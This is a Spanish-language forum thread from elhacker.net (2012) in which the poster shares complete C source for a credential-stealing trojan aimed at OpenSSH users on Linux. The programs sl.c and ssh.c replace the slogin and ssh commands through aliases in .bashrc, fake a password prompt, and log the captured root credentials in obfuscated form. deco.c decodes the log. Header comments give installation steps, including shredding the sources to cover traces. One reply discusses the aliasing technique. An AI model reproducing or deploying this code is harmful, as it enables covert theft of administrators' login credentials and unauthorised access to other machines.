elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Como proteger una cartera - billetera de Bitcoin


+  Foro de elhacker.net
|-+  Seguridad Informática
| |-+  Análisis y Diseño de Malware (Moderador: fary)
| | |-+  [C] Ataque a OpenSSH usando alias bajo Linux
0 Usuarios y 1 Visitante están viendo este tema.
Páginas: [1] Ir Abajo Respuesta Imprimir
Autor Tema: [C] Ataque a OpenSSH usando alias bajo Linux  (Leído 3,235 veces)
Kasswed
Colaborador
***
Desconectado Desconectado

Mensajes: 5.295

Rolling Stones


Ver Perfil
[C] Ataque a OpenSSH usando alias bajo Linux
« en: 15 Abril 2012, 14:28 pm »

Supongamos que tenemos acceso a un servidor Linux, pero no somos ni root ni nada.

Pero supongamos que desde el usuario donde tenemos acceso hay gente que se loguea como root a otras máquinas usando SSH. Esto es un escenario bastante típico.

Nuestro usuario por lo general podrá crear alias y compilar programas, y de esto nos vamos a valer para instalar este malware en un Linux. Lo único que haremos es esperar a que un usuario se loguee en otra máquina como root y obtener sus credenciales en un archivo de texto, que estará cifrado de forma bastante sencilla.

El programa se compone de 3 partes. sl.c, ssh.c y deco.c

sl.c se compila y se usa como alias del comando slogin
ssh.c se compila y se usa como alias del comando ssh
deco.c no se instala en la máquina víctima, sólo nos sirve para descifrar nuestro archivo con credenciales.

Lo pongo aquí para ver si alguien se anima a mejorarlo. Siento que no tenga muchos comentarios, pero es bastante simple de entender. Por supuesto, cada caso es diferente, así que habría que adaptar el código a cada caso, dependiendo de diversas variables.

sl.c

Código
  1. /*
  2.   Author: Kasswed for elhacker.net April 2012
  3.  
  4.  This malware is composed of 3 parts:
  5.  1. sl.c: slogin snifer program code
  6.  2. ssh.c: ssh snifer program code
  7.  3. deco.c: decoder program for the logs files
  8.  
  9.  Install this program (does not need to be root) using a bash script:
  10.  
  11. mkdir .config/.keyboard
  12. gcc sl.c -o .config/.keyboard/sl
  13. gcc ssh.c -o .config/.keyboard/s
  14. echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
  15. echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
  16. shred -n 30 -u sl.c
  17. shred -n 30 -u ssh.c
  18.  
  19. Then remove the script as well with "shred -n 30 -u script.sh"
  20.  
  21.  To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
  22.  $ ./deco logfile
  23.  
  24.  Et voila.
  25.  
  26.  */
  27.  
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <pwd.h>
  33.  
  34. #define BUF 1000
  35. #define PATH "/usr/bin/slogin"
  36. #define LOG "/.config/.keyboard/sx"
  37.  
  38.  
  39. int main(int argc, char **argv){
  40.    char  *ssh_arguments_send[BUF];
  41.    char ssh[] = "slogin";
  42.    ssh_arguments_send[0] = ssh;
  43.    if(argc != 2){
  44. int j;
  45. for(j=1;j<argc;j++)
  46.    ssh_arguments_send[j]=argv[j];
  47.    }
  48.    else{
  49. FILE *file;
  50. char dir[BUF];
  51. strcpy(dir,getenv("HOME"));
  52. strcat(dir,LOG);
  53. int i;
  54. struct passwd *pw;
  55. char user[200];
  56. char *ptr;
  57. pw = getpwuid(geteuid());
  58. strcpy(user,pw->pw_name);
  59. ssh_arguments_send[1] = argv[1];
  60. char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
  61. if(strchr(argv[1],'@') == NULL ){
  62.    strcpy(pCopy,user);
  63.    strcat(pCopy,"@");
  64.    strcat(pCopy,argv[1]);
  65. }
  66. else{
  67.    strcpy(pCopy,argv[1]);
  68. }
  69. sleep(2);
  70. printf("%s",pCopy);
  71. printf("'s password: ");
  72. system("stty -echo");
  73. fgets(password, BUF, stdin);
  74. printf("\n");
  75. system("stty echo");
  76. password[strlen(password)-1] = '\0';
  77. file = fopen(dir,"a+");
  78. if(file!=NULL){
  79.    strcat(pCopy,"/");
  80.    strcat(pCopy,password);
  81.    strcat(pCopy,";");
  82.    for(i=0;i<strlen(pCopy);i++){
  83. fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
  84. fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
  85. fprintf(file,"%c",pCopy[i]+25);
  86.    }
  87.    fprintf(file,"\n");
  88.    fclose(file);
  89. }
  90. sleep(2);
  91. printf("Permission denied, please try again.\n");
  92.    }
  93.    execv(PATH,ssh_arguments_send);
  94. }

ssh.c

Código
  1. /*
  2.  Author: Kasswed for elhacker.net April 2012
  3.  
  4.  This malware is composed of 3 parts:
  5.  1. sl.c: slogin snifer program code
  6.  2. ssh.c: ssh snifer program code
  7.  3. deco.c: decoder program for the logs files
  8.  
  9.  Install this program (does not need to be root) using a bash script:
  10.  
  11. mkdir .config/.keyboard
  12. gcc sl.c -o .config/.keyboard/sl
  13. gcc ssh.c -o .config/.keyboard/s
  14. echo "alias slogin='$HOME/.config/.keyboard/sl'" >> ~/.bashrc
  15. echo "alias ssh='$HOME/.config/.keyboard/s'" >> ~/.bashrc
  16. shred -n 30 -u sl.c
  17. shred -n 30 -u ssh.c
  18.  
  19. Then remove the script as well with "shred -n 30 -u script.sh"
  20.  
  21.  To get the passwords, get access to the victim's machine and copy the log file into your computer. Use the program  deco:
  22.  $ ./deco logfile
  23.  
  24.  Et voila.
  25.  
  26.  */
  27.  
  28.  
  29. #include <stdio.h>
  30. #include <stdlib.h>
  31. #include <string.h>
  32. #include <pwd.h>
  33.  
  34.  
  35. #define BUF 1000
  36. #define PATH "/usr/bin/ssh"
  37. #define LOG "/.config/.keyboard/sx"
  38.  
  39.  
  40. int main(int argc, char **argv){
  41.    char  *ssh_arguments_send[BUF];
  42.    char ssh[] = "ssh";
  43.    ssh_arguments_send[0] = ssh;
  44.    if(argc != 2){
  45. int j;
  46. for(j=1;j<argc;j++)
  47.    ssh_arguments_send[j]=argv[j];
  48.    }
  49.    else{
  50. FILE *file;
  51. char dir[BUF];
  52. strcpy(dir,getenv("HOME"));
  53. strcat(dir,LOG);
  54. int i;
  55. struct passwd *pw;
  56. char user[200];
  57. char *ptr;
  58. pw = getpwuid(geteuid());
  59. strcpy(user,pw->pw_name);
  60. ssh_arguments_send[1] = argv[1];
  61. char pCopy[BUF],encript[BUF],host[BUF],password[BUF];
  62. if(strchr(argv[1],'@') == NULL ){
  63.    strcpy(pCopy,user);
  64.    strcat(pCopy,"@");
  65.    strcat(pCopy,argv[1]);
  66. }
  67. else{
  68.    strcpy(pCopy,argv[1]);
  69. }
  70. sleep(2);
  71. printf("%s",pCopy);
  72. printf("'s password: ");
  73. system("stty -echo");
  74. fgets(password, BUF, stdin);
  75. printf("\n");
  76. system("stty echo");
  77. password[strlen(password)-1] = '\0';
  78. file = fopen(dir,"a+");
  79. if(file!=NULL){
  80.    strcat(pCopy,"/");
  81.    strcat(pCopy,password);
  82.    strcat(pCopy,";");
  83.    for(i=0;i<strlen(pCopy);i++){
  84. fprintf(file,"%c",pCopy[i]+ (33*i+1)%100);
  85. fprintf(file,"%c",pCopy[i]+ (33*i+2)%98);
  86. fprintf(file,"%c",pCopy[i]+25);
  87.    }
  88.    fprintf(file,"\n");
  89.    fclose(file);
  90. }
  91. sleep(2);
  92. printf("Permission denied, please try again.\n");
  93.    }
  94.    execv(PATH,ssh_arguments_send);
  95. }

deco.c

Código
  1. #include <stdio.h>
  2. #include <stdlib.h>
  3. #include <string.h>
  4.  
  5. #define BUF 10000
  6.  
  7. int main(int argc,char **argv){
  8. FILE* file;
  9. int i;
  10. char encript[BUF];
  11. file = fopen(argv[1],"r");
  12. fgets(encript,BUF,file);
  13. for(i=0;i<strlen(encript);i++){
  14.    if((i+1)%3==0)
  15. printf("%c",encript[i]-25);
  16. }
  17. fclose(file);
  18. }
En línea

"He who allows himself to be insulted, deserves to be."

Repórtame cualquier falta a las normas del foro por mensaje privado.
Karcrack


Desconectado Desconectado

Mensajes: 2.416


Se siente observado ¬¬'


Ver Perfil
Re: [C] Ataque a OpenSSH usando alias bajo Linux
« Respuesta #1 en: 16 Abril 2012, 00:35 am »

Una método muy interesante. No soy mucho de Linux, pero la parte importante está aquí, no?:
Código:
alias ssh='$HOME/.config/.keyboard/s'
Ahí es donde "instalas" el sniffer, verdad? Si es así no debería de poderse establecer aliases que sobrescriban otros sin permisos de ROOT... tal vez se puede modificar alguna directiva para ello...

Muy buen código. Saludos.
En línea

Kasswed
Colaborador
***
Desconectado Desconectado

Mensajes: 5.295

Rolling Stones


Ver Perfil
Re: [C] Ataque a OpenSSH usando alias bajo Linux
« Respuesta #2 en: 16 Abril 2012, 12:44 pm »

Exactamente.

El problema es que los alias suelen estar permitidos para todos los usuarios.A veces pasa en las empresas que tienen un usuario común sin muchos privilegios para el uso de ... impresoras y cosas así. A veces pasa que lso administradores se loguean con ese usuario común, y luego van yendo con slogin o openssh por otras máquinas. Es un error bastante grave y lo he visto ya en dos empresas, de ahí la idea.

Saludos!
En línea

"He who allows himself to be insulted, deserves to be."

Repórtame cualquier falta a las normas del foro por mensaje privado.
Páginas: [1] Ir Arriba Respuesta Imprimir 

Ir a:  

Mensajes similares
Asunto Iniciado por Respuestas Vistas Último mensaje
Sistema bajo minimos usando grabadora
Software
Luarka 0 1,262 Último mensaje 17 Mayo 2005, 21:41 pm
por Luarka
ataque usando el server de paginas www.
Hacking
Hackwarm_x2 3 7,582 Último mensaje 5 Junio 2011, 19:22 pm
por kiriost
Ataque a mi PC usando Proxy abierto en singapore que redirecciona desde Beijing
Hacking
Graphixx 1 3,307 Último mensaje 20 Abril 2012, 07:18 am
por Graphixx
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines